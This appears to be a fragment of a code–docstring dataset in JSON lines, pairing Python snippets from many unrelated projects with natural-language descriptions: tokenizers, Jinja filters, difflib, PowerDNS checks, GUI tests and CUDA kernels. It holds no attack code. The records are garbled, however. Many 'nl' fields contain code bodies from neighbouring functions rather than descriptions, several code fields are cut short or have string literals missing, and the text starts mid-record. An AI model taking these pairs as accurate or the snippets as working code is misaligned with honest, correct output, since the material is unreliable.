{}).values():\n _update_idx_doc_with_new_documents(documents, idx_doc)\n assert self._engine.put_metadata(self._base_location, metadata)\n return metadata\n\n @support_alert", "nl": "Given a list of deleted document ids, add those documents to all indexes.Returns the new metadata dictionary.:param documents list[dict]::param metadata dict::rtype: dict"} {"code": "def notifyProductEvent(self, shopId, productId, productVersion, productEvent):\n pass\n", "nl": "Parameters:- shopId- productId- productVersion- productEvent"} {"code": "def handle_categories(cls, func):\n\n @wraps(func)", "nl": "Execute a category strategy on a result set.Force the user to make a choice about handling predictions for different classes.It should support either being one of the axes for the Main Visualization,or there should be a strategy for turning multiple entries into a single one"} {"code": "def save_vocabulary(self, save_directory):\n if not os.path.isdir(save_directory):\n logger.error(\"Vocabulary path ({}) should be a directory\".format(save_directory))\n return\n out_vocab_file = os.path.join(save_directory, VOCAB_FILES_NAMES[\"vocab_file\"])\n\n if os.path.abspath(self.vocab_file) != os.path.abspath(out_vocab_file):\n copyfile(self.vocab_file, out_vocab_file)\n\n return (out_vocab_file,)", "nl": " Save the sentencepiece vocabulary (copy original file) and special tokens fileto a directory."} {"code": "def hide(html: str, hide: bool = False) -> str:\n name of each tab as the dict key and the html contents of the tab as the dict value.\n \"\"\"\n<li class=\"nav-item\" role=\"presentation\">\n <button class=\"nav-link{'' if i else ' active'}\" id=\"{tab_id_name}-tab\"\n data-bs-toggle=\"tab\" type=\"button\" data-bs-target=\"\n aria-selected=\"{'false' if i else 'true'}\" aria-controls=\"{tab_id_name}\">{tab_name}</button>\n</li>\n\"\"\"\n html += f\"\"\"<div class=\"tab-content\" id=\"{tabs_id}Content\">\\n\\n\"\"\"\n<div class=\"tab-pane {'' if i else 'active'}\" id=\"{tab_id_name}\"\n role=\"tabpanel\" aria-labelledby=\"{tab_id_name}-tab\"> {tab_contents}\n</div>\n\"\"\"\n<script type=\"text/javascript\">\nvar triggerTabList = [].slice.call(document.querySelectorAll('\ntriggerTabList.forEach(function (triggerEl) {{\n var tabTrigger = new bootstrap.Tab(triggerEl)\n\n triggerEl.addEventListener('click', function (event) {{\n event.preventDefault()\n tabTrigger.show()\n window.dispatchEvent(new Event('resize'));\n }})\n}})\n</script>\n\"\"\"", "nl": "optionally hide an html snippet (return empty div) if parameter hide=Trueif hide:return \"<div></div>\"return htmldef tabs(tabs_dict: dict) -> str:Generate a series of bootstrap tabs for a dictionary tabs_dict with the"} {"code": "def cmd_listservices(self):\n for rec in self.node.namesiteLocals:\n print(\"%s %s\" % (rec['name'], rec['puburi']))\n", "nl": "Print a list of services as 'name uri' lines"} {"code": "def do_groupby(environment, value, attribute):\n expr = make_attrgetter(environment, attribute)\n return [\n _GroupTuple(key, list(values))\n for key, values in groupby(sorted(value, key=expr), expr)\n ]\n\n\n@environmentfilter", "nl": "Group a sequence of objects by an attribute using Python's:func:`itertools.groupby`. The attribute can use dot notation fornested access, like ``\"address.city\"``. Unlike Python's ``groupby``,the values are sorted first so only one group is returned for eachunique value.For example, a list of ``User`` objects with a ``city`` attributecan be rendered in groups. In this example, ``grouper`` refers tothe ``city`` value of the group... sourcecode:: html+jinja<ul>{% for city, items in users|groupby(\"city\") %}<li>{{ city }}<ul>{% for user in items %}<li>{{ user.name }}{% endfor %}</ul></li>{% endfor %}</ul>``groupby`` yields namedtuples of ``(grouper, list)``, whichcan be used instead of the tuple unpacking above. ``grouper`` is thevalue of the attribute, and ``list`` is the items with that value... sourcecode:: html+jinja<ul>{% for group in users|groupby(\"city\") %}<li>{{ group.grouper }}: {{ group.list|join(\", \") }}{% endfor %}</ul>.. versionchanged:: 2.6The attribute supports dot notation for nested access."} {"code": "def handle_first_release_line(entries, manager):\n if not entries:\n return\n first_release = None\n for obj in entries:\n if isinstance(obj, Release):\n first_release = obj\n break\n if first_release:\n manager.add_family(obj.family)\n else:\n manager.add_family(0)\n\n", "nl": "Set up initial line-manager entry for first encountered release line.To be called at start of overall process; afterwards, subsequent majorlines are generated by `handle_upcoming_major_release`."} {"code": "def testDlgMerge_Main(qtbot, monkeypatch, nwGUI, fncProj, mockRnd):\n monkeypatch.setattr(QMessageBox, \"question\", lambda *a: QMessageBox.Yes)\n monkeypatch.setattr(QMessageBox, \"critical\", lambda *a: QMessageBox.Ok)\n monkeypatch.setattr(GuiEditLabel, \"getLabel\", lambda *a, text: (text, True))\n\n buildTestProject(nwGUI, fncProj)\n\n hNovelRoot = \"0000000000008\"\n hChapterDir = \"000000000000d\"\n hChapterOne = \"000000000000e\"\n hSceneOne = \"000000000000f\"\n hSceneTwo = \"0000000000010\"\n hSceneThree = \"0000000000011\"\n hSceneFour = \"0000000000012\"\n hMergedDoc = \"0000000000023\"\n\n nwGUI.switchFocus(nwWidget.TREE)\n nwGUI.projView.projTree.clearSelection()\n nwGUI.projView.projTree._getTreeItem(hChapterDir).setSelected(True)\n nwGUI.projView.projTree.newTreeItem(nwItemType.FILE)\n nwGUI.projView.projTree.newTreeItem(nwItemType.FILE)\n nwGUI.projView.projTree.newTreeItem(nwItemType.FILE)\n\n assert nwGUI.saveProject() is True\n assert nwGUI.closeProject() is True\n\n tChapterOne = \"\n tSceneOne = \"\n tSceneTwo = \"\n tSceneThree = \"\n tSceneFour = \"\n\n contentDir = os.path.join(fncProj, \"content\")\n writeFile(os.path.join(contentDir, hChapterOne+\".nwd\"), tChapterOne)\n writeFile(os.path.join(contentDir, hSceneOne+\".nwd\"), tSceneOne)\n writeFile(os.path.join(contentDir, hSceneTwo+\".nwd\"), tSceneTwo)\n writeFile(os.path.join(contentDir, hSceneThree+\".nwd\"), tSceneThree)\n writeFile(os.path.join(contentDir, hSceneFour+\".nwd\"), tSceneFour)\n\n assert nwGUI.openProject(fncProj) is True\n\n nwGUI.switchFocus(nwWidget.TREE)\n nwGUI.projView.projTree.clearSelection()\n nwGUI.projView.projTree._getTreeItem(hChapterDir).setSelected(True)\n\n monkeypatch.setattr(GuiDocMerge, \"exec_\", lambda *a: None)\n nwGUI.mainMenu.aMergeDocs.activate(QAction.Trigger)\n qtbot.waitUntil(lambda: getGuiItem(\"GuiDocMerge\") is not None, timeout=1000)\n\n nwMerge = getGuiItem(\"GuiDocMerge\")\n assert isinstance(nwMerge, GuiDocMerge)\n nwMerge.show()\n qtbot.wait(50)\n\n\n nwMerge.listBox.clear()\n assert nwMerge.listBox.count() == 0\n\n nwGUI.projView.projTree.clearSelection()\n assert nwMerge._populateList() is False\n assert nwMerge.listBox.count() == 0\n\n with monkeypatch.context() as mp:\n mp.setattr(NWTree, \"__getitem__\", lambda *a: None)\n nwGUI.projView.projTree.clearSelection()\n nwGUI.projView.projTree._getTreeItem(hChapterDir).setSelected(True)\n assert nwMerge._populateList() is False\n assert nwMerge.listBox.count() == 0\n\n nwGUI.projView.projTree.clearSelection()\n nwGUI.projView.projTree._getTreeItem(hChapterOne).setSelected(True)\n assert nwMerge._populateList() is False\n assert nwMerge.listBox.count() == 0\n\n nwGUI.projView.projTree.clearSelection()\n nwGUI.projView.projTree._getTreeItem(hChapterDir).setSelected(True)\n assert nwMerge._populateList() is True\n assert nwMerge.listBox.count() == 5\n\n\n with monkeypatch.context() as mp:\n mp.setattr(GuiDocMerge, \"_doClose\", lambda *a: None)\n assert nwMerge._doMerge() is True\n assert nwGUI.saveProject() is True\n mergedFile = os.path.join(contentDir, hMergedDoc+\".nwd\")\n assert os.path.isfile(mergedFile)\n assert readFile(mergedFile) == (\n \"%%%%~name: New Chapter\\n\"\n \"%%%%~path: %s/%s\\n\"\n \"%%%%~kind: NOVEL/DOCUMENT\\n\"\n \"%s\\n\\n\"\n \"%s\\n\\n\"\n \"%s\\n\\n\"\n \"%s\\n\\n\"\n \"%s\\n\\n\"\n ) % (\n hNovelRoot,\n hMergedDoc,\n tChapterOne.strip(),\n tSceneOne.strip(),\n tSceneTwo.strip(),\n tSceneThree.strip(),\n tSceneFour.strip(),\n )\n\n with monkeypatch.context() as mp:\n mp.setattr(\"builtins.open\", causeOSError)\n assert nwMerge._doMerge() is False\n\n with monkeypatch.context() as mp:\n mp.setattr(NWTree, \"__getitem__\", lambda *a: None)\n assert nwMerge._doMerge() is False\n\n nwMerge.sourceItem = None\n assert nwMerge._doMerge() is False\n\n nwMerge.listBox.clear()\n assert nwMerge._doMerge() is False\n\n nwMerge._doClose()\n\n", "nl": "Test the merge documents tool."} {"code": "def c_code_reduce_10(self, sio, node, name, x, z, fail):\n", "nl": "print({int verbose = 0;if(CudaNdarray_HOST_STRIDES(%(x)s)[0] >CudaNdarray_HOST_STRIDES(%(x)s)[1]){// If there are a lot of summations to do, then we can use simple parallelization -// use each thread to do one sum.// we might as well launch blocks of 32 threads because that's the warp size.// we could schedule more threads if we were maxing out the gridsize below, but// the gridsize is way more than the physical hardware and I think 32 threads// on a huge grid is enough to fully use the hardware.dim3 n_threads(32,1,1);// We kindof reshape the input implicitly to something 4D:// the shape A,B,C -> A, B, D, E// where C <= D*E < C+32// where E==32int A = 1;int B = CudaNdarray_HOST_DIMS(%(x)s)[0];int C = CudaNdarray_HOST_DIMS(%(x)s)[1];int D = C/32;if (32*D < C) D+= 1;assert ((C <= 32*D) && (32*D < C+32));// The gridsize would ideally be (A, D). But we do the following logic to make// sure we don't ask for a grid that is too big.dim3 n_blocks(A,D);if (n_blocks.x > NUM_VECTOR_OP_BLOCKS) n_blocks.x = NUM_VECTOR_OP_BLOCKS;if (n_blocks.x*n_blocks.y > NUM_VECTOR_OP_BLOCKS) n_blocks.y = NUM_VECTOR_OP_BLOCKS/n_blocks.x;kernel_reduce_010_AD_%(name)s<<<n_blocks, n_threads>>>(A,B,C,D,CudaNdarray_DEV_DATA(%(x)s),1,CudaNdarray_HOST_STRIDES(%(x)s)[0],CudaNdarray_HOST_STRIDES(%(x)s)[1],CudaNdarray_DEV_DATA(%(z)s),1,CudaNdarray_HOST_STRIDES(%(z)s)[0]);CNDA_THREAD_SYNC;cudaError_t sts = cudaGetLastError();if (cudaSuccess != sts){PyErr_Format(PyExc_RuntimeError,\"Cuda error: %%s: %%s.\"\" (grid: %%i x %%i; block: %%i x %%i x %%i)\\\\n\",\"kernel_reduce_10_AD%(name)s\",cudaGetErrorString(sts),n_blocks.x,n_blocks.y,n_threads.x,n_threads.y,n_threads.z);%(fail)s;}}else{dim3 n_threads(std::min(CudaNdarray_HOST_DIMS(%(x)s)[0],NUM_VECTOR_OP_THREADS_PER_BLOCK));dim3 n_blocks(1,std::min(CudaNdarray_HOST_DIMS(%(x)s)[1],NUM_VECTOR_OP_BLOCKS));if (verbose) {fprintf(stderr,\"running kernel_reduce_10_%(name)s n_blocks=(%%i,%%i)\\\\n\",n_blocks.x,n_blocks.y);}assert(CudaNdarray_HOST_DIMS(%(x)s)[1] == CudaNdarray_HOST_DIMS(%(z)s)[0]);int n_shared = sizeof(float) * n_threads.x;kernel_reduce_010_%(name)s<<<n_blocks, n_threads, n_shared>>>(1,CudaNdarray_HOST_DIMS(%(x)s)[0],CudaNdarray_HOST_DIMS(%(x)s)[1],CudaNdarray_DEV_DATA(%(x)s),1,CudaNdarray_HOST_STRIDES(%(x)s)[0],CudaNdarray_HOST_STRIDES(%(x)s)[1],CudaNdarray_DEV_DATA(%(z)s),1,CudaNdarray_HOST_STRIDES(%(z)s)[0]);CNDA_THREAD_SYNC;cudaError_t sts = cudaGetLastError();if (cudaSuccess != sts){PyErr_Format(PyExc_RuntimeError,\"Cuda error: %%s: %%s.\"\" (grid: %%i x %%i; block: %%i x %%i x %%i)\\\\n\",\"kernel_reduce_010_%(name)s\",cudaGetErrorString(sts),n_blocks.x,n_blocks.y,n_threads.x,n_threads.y,n_threads.z);%(fail)s;}}} % locals(), file=sio)"} {"code": "def makeLogRecord(dict):\n rv = LogRecord(None, None, \"\", 0, \"\", (), None, None)\n rv.__dict__.update(dict)\n return rv\n\n\nclass Formatter(object):\n \"\"\"", "nl": "Make a LogRecord whose attributes are defined by the specified dictionary,This function is useful for converting a logging event received overa socket connection (which is sent as a dictionary) into a LogRecordinstance."} {"code": "def forward(self):\n self.loss_G = self.criterionLoss(self.output, self.data_B) * self.opt.lambda_regression\n self.loss_G.backward()\n", "nl": "Run forward pass. This will be called by both functions <optimize_parameters> and <test>.self.output = self.netG(self.data_A) # generate output image given the input data_Adef backward(self):Calculate losses, gradients, and update network weights; called in every training iteration"} {"code": "def begin_twophase(self, conn, xid):\n", "nl": "Intercept begin_twophase() events.:param conn: :class:`.Connection` object:param xid: two-phase XID identifier"} {"code": "def zone_exists(module, base_url, zone):\n\n url = \"{0}/{1}\".format(base_url, zone)\n\n response, info = fetch_url(module, url, headers=headers)\n if info['status'] == 422:\n return None\n\n if info['status'] != 200:\n module.fail_json(msg=\"failed to check zone %s at %s: %s\" % (zone, url, info['msg']))\n\n content = response.read()\n data = json.loads(content)\n\n kind = data.get('kind', None)\n if kind is not None:\n kind = kind.upper()\n return kind\n", "nl": " Check if zone is configured in PowerDNS. Returnkind of zone (native, master, slave) uppercased or None "} {"code": "def _make_prefix(self):\n\n toprefix = self._prefix[1]\n\n next_id = ['']*len(flaglist)\n next_href = ['']*len(flaglist)\n num_chg, in_change = 0, False\n last = 0\n for i,flag in enumerate(flaglist):\n if flag:\n if not in_change:\n in_change = True\n last = i\n i = max([0,i-numlines])\n next_id[i] = ' id=\"difflib_chg_%s_%d\"' % (toprefix,num_chg)\n num_chg += 1\n next_href[last] = '<a href=\"\n toprefix,num_chg)\n else:\n in_change = False\n if not flaglist:\n flaglist = [False]\n next_id = ['']\n next_href = ['']\n last = 0\n if context:\n fromlist = ['<td></td><td> No Differences Found </td>']\n tolist = fromlist\n else:\n fromlist = tolist = ['<td></td><td> Empty File </td>']\n if not flaglist[0]:\n next_href[0] = '<a href=\"\n next_href[last] = '<a href=\"\n\n return fromlist,tolist,flaglist,next_href,next_id\n", "nl": "Create unique anchor prefixes# Generate a unique anchor prefix so multiple tables# can exist on the same HTML page without conflicts.fromprefix = \"from%d_\" % HtmlDiff._default_prefixtoprefix = \"to%d_\" % HtmlDiff._default_prefixHtmlDiff._default_prefix += 1# store prefixes so line format method has accessself._prefix = [fromprefix,toprefix]def _convert_flags(self,fromlist,tolist,flaglist,context,numlines):Makes list of \"next\" links"} {"code": "def attribute_mapped_collection(attr_name):\n getter = _SerializableAttrGetter(attr_name)\n return lambda: MappedCollection(getter)\n\n", "nl": "A dictionary-based collection type with attribute-based keying.Returns a :class:`.MappedCollection` factory with a keying based on the'attr_name' attribute of entities in the collection, where ``attr_name``is the string name of the attribute... warning:: the key value must be assigned to its final value**before** it is accessed by the attribute mapped collection.Additionally, changes to the key attribute are **not tracked**automatically, which means the key in the dictionary is notautomatically synchronized with the key value on the target objectitself. See the section :ref:`key_collections_mutations`for an example."} {"code": "def p_opt_else_clause(self, args):\n", "nl": "opt_else_clause ::= else : suiteopt_else_clause ::="} {"code": "def merge_cfg_file(cfg, args, extra_dict):\n if args.device is not None:\n cfg.pipeline.device = args.device\n cfg.model.device = args.device\n if args.split is not None:\n cfg.pipeline.split = args.split\n if args.main_log_dir is not None:\n cfg.pipeline.main_log_dir = args.main_log_dir\n if args.dataset_path is not None:\n cfg.dataset.dataset_path = args.dataset_path\n if args.ckpt_path is not None:\n cfg.model.ckpt_path = args.ckpt_path\n\n extra_cfg_dict = {'model': {}, 'dataset': {}, 'pipeline': {}}\n\n for full_key, v in extra_dict.items():\n d = extra_cfg_dict\n key_list = full_key.split('.')\n for subkey in key_list[:-1]:", "nl": "Merge args and extra_dict from the input arguments.Merge the dict parsed by MultipleKVAction into this cfg."} {"code": "def parse_warcinfo(self, record):\n valid = False\n warcinfo = {}\n warcinfo_buff = record.raw_stream.read(record.length)\n warcinfo_buff = warcinfo_buff.decode('utf-8')\n for line in warcinfo_buff.rstrip().split('\\n'):\n parts = line.split(':', 1)\n\n if parts[0] == 'json-metadata':\n warcinfo['json-metadata'] = json.loads(parts[1])\n valid = True\n elif len(parts) == 2:\n warcinfo[parts[0]] = parts[1].strip()\n\n return warcinfo\n", "nl": "Parse WARC information.:param record: WARC information:returns: WARC information or None:rtype: dict or None"} {"code": "def _prepare_embedding_index(self, binary=True):\n limit = 10000 if self.__dict__.get(\"debug\", False) else None\n vectors = KeyedVectors.load_word2vec_format(self.filepath, binary=binary, limit=limit)\n embedding_idx = {word: vectors[word] for word in vectors.vocab}\n\n return embedding_idx\n", "nl": "Returns an embedding index for pre-trained token embeddings.For pre-trained word embeddings given at `self.filepath`, returns adictionary mapping words to their embedding (an 'embedding index'). If `self.debug` isTrue, only the first ten thousand vectors are loaded.Args:binary (bool): True if pre-trained embeddings are in C binary format, False if they arein C text format. Defaults to True.Returns:Dictionary mapping words to pre-trained word embeddings, known as an 'embedding index'."} {"code": "def get_locales_from_config() -> set[str]:\n locales_offered = config.get_value('ckan.locales_offered')\n filtered_out = config.get_value('ckan.locales_filtered_out')", "nl": " despite the name of this function it gets the locales defined bythe config AND also the locals available subject to the config. "} {"code": "def deprecation_errors(self):\n return self._deprecation_errors\n\n", "nl": "The API deprecation errors setting.When set, this value is sent to the server in the\"apiDeprecationErrors\" field."} {"code": "def ned2cam(traj):\n T = np.array([[0,1,0,0],\n [0,0,1,0],\n [1,0,0,0],\n [0,0,0,1]], dtype=np.float32)\n T_inv = np.linalg.inv(T)\n new_traj = []\n traj_ses = tf.pos_quats2SE_matrices(np.array(traj))\n\n for tt in traj_ses:\n ttt=T.dot(tt).dot(T_inv)\n new_traj.append(tf.SE2pos_quat(ttt))\n\n return np.array(new_traj)\n", "nl": "transfer a ned traj to camera frame traj"} {"code": "def get_train_examples(self, data_dir):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"dev.tsv\")), \"dev\")\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"train.tsv\")), \"train\")def get_dev_examples(self, data_dir):See base class."} {"code": "def dict(self):\n\n if self._query:\n self._struct['query'] = self._query\n\n if self._aggs:\n aggs = {}\n for agg in self._aggs:\n aggs.update(agg.dict())\n\n self._struct['aggregations'] = aggs\n\n if self._suggesters:\n suggs = {}\n for sugg in self._suggesters:\n suggs.update(sugg.dict())\n\n self._struct['suggest'] = suggs\n\n return unroll_struct(self._struct)\n", "nl": "Returns the current query in dict format."} {"code": "def __init__(self):\n\n An example of encoding is:\n\n >>> from Crypto.Util.asn1 import DerObjectId\n >>> from binascii import hexlify, unhexlify\n >>> oid_der = DerObjectId(\"1.2\")\n >>> oid_der.value += \".840.113549.1.1.1\"\n >>> print hexlify(oid_der.encode())\n\n which will show ``06092a864886f70d010101``, the DER encoding for the\n RSA Object Identifier ``1.2.840.113549.1.1.1``.\n\n For decoding:\n\n >>> s = unhexlify(b'06092a864886f70d010101')\n >>> try:\n >>> oid_der = DerObjectId()\n >>> oid_der.decode(s)\n >>> print oid_der.value\n >>> except ValueError:\n >>> print \"Not a valid DER OBJECT ID\"\n\n the output will be ``1.2.840.113549.1.1.1``.\n\n :ivar value: The Object ID (OID), a dot separated list of integers\n :vartype value: string\n \"\"\"", "nl": "Initialize the DER object as a NULL.DerObject.__init__(self, 0x05, b'', None, False)class DerObjectId(DerObject):Class to model a DER OBJECT ID."} {"code": "def _runner_str(fname_X, fname_Y, fname_out, num_centers, num_rep, max_iter, gpu_num):\n py_fname = f\"./temp_runner_gpu{gpu_num}_{random.randint(0, 1000)}.py\"\n with open(py_fname, 'w') as fh:\n fh.write(run_str)\n\n os.system(f\"CUDA_VISIBLE_DEVICES='{gpu_num}' python {py_fname}\")\n os.remove(py_fname)\n\n\n@pytest.mark.full\n@pytest.mark.skipif(not decide_cuda(), reason=\"No GPU found.\")\nclass TestStressInCore:", "nl": "run_str = fimport numpyimport pickleimport torchfrom falkon import kernels, FalkonOptions, InCoreFalkonfrom falkon.center_selection import FixedSelectorkernel = kernels.GaussianKernel(20.0)with open('{fname_X}', 'rb') as fh:X = pickle.load(fh)with open('{fname_Y}', 'rb') as fh:Y = pickle.load(fh)X, Y = X.cuda(), Y.cuda()opt = FalkonOptions(use_cpu=False, keops_active=\"no\", debug=False, never_store_kernel=True,max_gpu_mem=1*2**30, cg_full_gradient_every=2,min_cuda_iter_size_32=0, min_cuda_iter_size_64=0, min_cuda_pc_size_32=0, min_cuda_pc_size_64=0)out = []for rep in range({num_rep}):center_sel = FixedSelector(X[:{num_centers}])flk = InCoreFalkon(kernel=kernel, penalty=1e-6, M={num_centers}, seed=10, options=opt, maxiter={max_iter},center_selection=center_sel)flk.fit(X, Y)out.append(flk.predict(X))with open('{fname_out}', 'wb') as fh:pickle.dump([o.cpu() for o in out], fh)"} {"code": "def draw(drawing, canvas, x, y, showBoundary=rl_config._unset_):\n rather than a function, as some image-specific state tracking is\n needed outside of the state info in the SVG model.\"\"\"", "nl": "As it saysR = _PMRenderer()R.draw(renderScaledDrawing(drawing), canvas, x, y, showBoundary=showBoundary)from reportlab.graphics.renderbase import Rendererclass _PMRenderer(Renderer):This draws onto a pix map image. It needs to be a class"} {"code": "def merge_from_list(self, cfg_list: List[str]) -> Callable[[], None]:\n keys = set(cfg_list[0::2])\n assert (\n BASE_KEY not in keys\n ), \"The reserved key '{}' can only be used in files!\".format(BASE_KEY)\n return super().merge_from_list(cfg_list)\n", "nl": "Args:cfg_list (list): list of configs to merge from."} {"code": "def diagnose_network(net, name='network'):\n mean = 0.0\n count = 0\n for param in net.parameters():\n if param.grad is not None:\n mean += torch.mean(torch.abs(param.grad.data))\n count += 1\n if count > 0:\n mean = mean / count\n print(name)\n print(mean)\n\n", "nl": "Calculate and print the mean of average absolute(gradients)Parameters:net (torch network) -- Torch networkname (str) -- the name of the network"} {"code": "def parent_task(func):", "nl": "Parent task decorator.A parent task is a task that accepts children.Decorate a generator function to produce a re-usable generatorfactory for the given task."} {"code": "def human_key(s):", "nl": "Turn a string into a list of string and number chunks.\"z23a\" -> [\"z\", 23, \"a\"]"} {"code": "def to_integral_value(self, rounding=None, context=None):\n if context is None:\n context = getcontext()\n\n if self._is_special:\n ans = self._check_nans(context=context)\n if ans:\n return ans\n\n if self._isinfinity() and self._sign == 0:\n return Decimal(self)\n\n if not self:\n ans = _dec_from_triple(self._sign, '0', self._exp // 2)\n return ans._fix(context)\n\n if self._sign == 1:\n return context._raise_error(InvalidOperation, 'sqrt(-x), x > 0')\n\n\n prec = context.prec+1\n\n op = _WorkRep(self)\n e = op.exp >> 1\n if op.exp & 1:\n c = op.int * 10\n l = (len(self._int) >> 1) + 1\n else:\n c = op.int\n l = len(self._int)+1 >> 1\n\n shift = prec-l\n if shift >= 0:\n c *= 100**shift\n exact = True\n else:\n c, remainder = divmod(c, 100**-shift)\n exact = not remainder\n e -= shift\n\n n = 10**prec\n while True:\n q = c//n\n if n <= q:\n break\n else:\n n = n + q >> 1\n exact = exact and n*n == c\n\n if exact:\n if shift >= 0:\n n //= 10**shift\n else:\n n *= 10**-shift\n e += shift\n else:\n if n % 5 == 0:\n n += 1\n\n ans = _dec_from_triple(0, str(n), e)\n\n context = context._shallow_copy()\n rounding = context._set_rounding(ROUND_HALF_EVEN)\n ans = ans._fix(context)\n context.rounding = rounding\n\n return ans\n", "nl": "Rounds to the nearest integer, without raising inexact, rounded.if context is None:context = getcontext()if rounding is None:rounding = context.roundingif self._is_special:ans = self._check_nans(context=context)if ans:return ansreturn Decimal(self)if self._exp >= 0:return Decimal(self)else:return self._rescale(0, rounding)# the method name changed, but we provide also the old one, for compatibilityto_integral = to_integral_valuedef sqrt(self, context=None):Return the square root of self."} {"code": "def need_pot_file(func):\n if not os.path.exists(self.pot_file):\n ui.error(\"No pot file found. Maybe no translatable strings were found?\")\n return None\n return func(self, *args, **kwargs)\n return new_func\n\n @need_pot_file", "nl": " Need Pot File @functools.wraps(func)def new_func(self, *args, **kwargs): New Func "} {"code": "def filter_top_per_query(records):\n top = OrderedDict()\n for alignment in records:\n if alignment.q_name not in top:\n top[alignment.q_name] = alignment\n elif alignment.score > top[alignment.q_name].score:\n top[alignment.q_name] = alignment\n return top.values()\n\n", "nl": "Filter lastal alignment records keeping the best scoring one per query.:param records: A collection of LastRecord named tuples.:returns: A list of LastRecord named tuples.:rtype: list"} {"code": "def getSubset(self):\n\n 'file' may be either a file name or an open file object.\n \"\"\"", "nl": "Return the internal subset as a string.return self.subsetdef parseFile(self, file):try:ExpatBuilder.parseFile(self, file)except ParseEscape:passdef parseString(self, string):try:ExpatBuilder.parseString(self, string)except ParseEscape:passdef install(self, parser):parser.StartDoctypeDeclHandler = self.start_doctype_decl_handlerparser.StartElementHandler = self.start_element_handlerdef start_doctype_decl_handler(self, name, publicId, systemId,has_internal_subset):if has_internal_subset:parser = self.getParser()self.subset = []parser.DefaultHandler = self.subset.appendparser.EndDoctypeDeclHandler = self.end_doctype_decl_handlerelse:raise ParseEscape()def end_doctype_decl_handler(self):s = ''.join(self.subset).replace('\\r\\n', '\\n').replace('\\r', '\\n')self.subset = sraise ParseEscape()def start_element_handler(self, name, attrs):raise ParseEscape()def parse(file, namespaces=True):Parse a document, returning the resulting Document node."} {"code": "def p_direct_declarator_1(self, p):\n p[0] = c_ast.TypeDecl(\n declname=p[1],\n type=None,\n quals=None,\n coord=self._coord(p.lineno(1)))\n", "nl": " direct_declarator : ID"} {"code": "def hybridsleep_WIN32(jarvis, s):\n string = 'shutdown /l'\n os.system(string)\n\n\n@require(native=\"systemctl\", platform=LINUX)\n@plugin('suspend')", "nl": "Performs shutdown and prepares forfast startupstring = 'shutdown /hybrid'os.system(string)@require(platform=WINDOWS)@plugin('log off')def log_off_WIN32(jarvis, s):Log off the system"} {"code": "def modify_commandline_options(parser, is_train=True):", "nl": "Add new model-specific options and rewrite default values for existing options.Parameters:parser -- the option parseris_train -- if it is training phase or test phase. You can use this flag to add training-specific or test-specific options.Returns:the modified parser."} {"code": "def frame(self) -> dd.DataFrame:\n if self._head is None:\n self._head = self.frame.head(n=n)\n return self._head\n", "nl": "Return the underlying dataframe.return self._ddfdef head(self, n: int = 5) -> pd.DataFrame:Return the head of the DataFrame, if not exist, read it."} {"code": "def print_in_page_output(self, page_output, text, rect):\n\n text_rect = {\n 'top': int(round(self.calculate_size(rect['top']) / self.row_height)),\n 'left': int(round(self.calculate_size(rect['left']) / self.character_width)),\n 'height': int(round(self.calculate_size(rect['height']) / self.row_height)),\n 'width': int(round(self.calculate_size(rect['width']) / self.character_width)),\n 'bottom': int(round(self.calculate_size(rect['bottom']) / self.row_height)),\n 'right': int(round(self.calculate_size(rect['right']) / self.character_width)),\n }\n\n text_rect['height'] = text_rect['height'] or 1\n text_rect['width'] = text_rect['width'] or len(text)\n\n if text_rect['height'] and text_rect['width']:\n text = text.ljust(text_rect['width'])[:text_rect['width']]\n\n _temp = page_output[text_rect['top']]\n _temp = _temp[:text_rect['left']] + text + _temp[text_rect['right']:]\n page_output[text_rect['top']] = _temp[:self.get_page_columns_count()]\n", "nl": "Changes the array page_output (a matrix with rows and cols equivalentto rows and cols in a matrix printer page) inserting the text value inthe left/top coordinates."} {"code": "def items(self):\n values = self._dynamic_columns or {}\n for name, col in self._columns.items():\n values[name] = col.to_database(getattr(self, name, None))\n return values\n\n @classmethod", "nl": " Returns a list of columns's IDs/values. return [(k, self[k]) for k in self]def _as_dict(self): Returns a map of column names to cleaned values "} {"code": "def process_kinetic(self):\n\n :Parameters:", "nl": "Apply kinetic movement to all the itemsdt = getFrameDt()self.vx /= 1 + (self.friction * dt)self.vy /= 1 + (self.friction * dt)self.xoffset += self.vx * self.do_xself.yoffset += self.vy * self.do_yself.ensure_bounding()def draw(self):# backgroundset_color(*self.style.get('bg-color'))drawCSSRectangle(pos=self.pos, size=self.size, style=self.style)# draw childrenself.stencil_push()for w in self.children[:]:# internal update of childrenw.update()# optimization to draw only viewed childrenif self.do_y and (w.y + w.height < self.y or w.y > self.y + self.height):continueif self.do_x and (w.x + w.width < self.x or w.x > self.x + self.width):continuew.on_draw()self.stencil_pop()# draw widgetsfor w in self.widgets:w.dispatch_event('on_draw')# title barif self.titletext is not None:set_color(*self.style.get('title-color'))w = 0if self.searchable:x = 80w += 80else:x = 0if self.deletable:w += 80drawCSSRectangle(pos=(self.x + x, self.height + self.y - 40),size=(self.width - w, 40), prefix='title',style=self.style)self.title.x = self.width/2 + self.xself.title.y = self.height - 20 + self.yself.title.draw()# scrollbarsb_size = self.style.get('scrollbar-size')if sb_size > 0:mtop, mright, mbottom, mleft = self.style.get('scrollbar-margin')if self.do_y:pos = [self.x + self.width - mright - sb_size, self.y + mbottom]size = [sb_size, self.height - mbottom - mtop]pos[1] += size[1] * self._scrollbar_indexsize[1] = size[1] * self._scrollbar_sizeelif self.do_x:pos = [self.x + mleft, self.y + self.height - mtop - sb_size]size = [self.width - mleft - mright, sb_size]pos[0] += size[0] * self._scrollbar_indexsize[0] = size[0] * self._scrollbar_sizeset_color(*self.style.get('scrollbar-color'))drawRectangle(pos=pos, size=size)def on_draw(self):if not self.visible:returnself.do_layout()self.process_kinetic()self.draw()class MTKineticObject(MTWidget):def __init__(self, **kwargs):Kinetic object, the base object for every child in kineticlist."} {"code": "def batch_processor(model, data, train_mode):\n losses = model(**data)\n loss, log_vars = parse_losses(losses)\n\n outputs = dict(\n loss=loss, log_vars=log_vars, num_samples=len(data['img'].data))\n\n return outputs\n\n", "nl": "Process a data batch.This method is required as an argument of Runner, which defines how toprocess a data batch and obtain proper outputs. The first 3 arguments ofbatch_processor are fixed.Args:model (nn.Module): A PyTorch model.data (dict): The data batch in a dict.train_mode (bool): Training mode or not. It may be useless for somemodels.Returns:dict: A dict containing losses and log vars."} {"code": "def _run_split_on_punc(self, text):\n output = []\n for char in text:\n cp = ord(char)\n if self._is_chinese_char(cp):\n output.append(\" \")\n output.append(char)\n output.append(\" \")\n else:\n output.append(char)\n return \"\".join(output)\n", "nl": 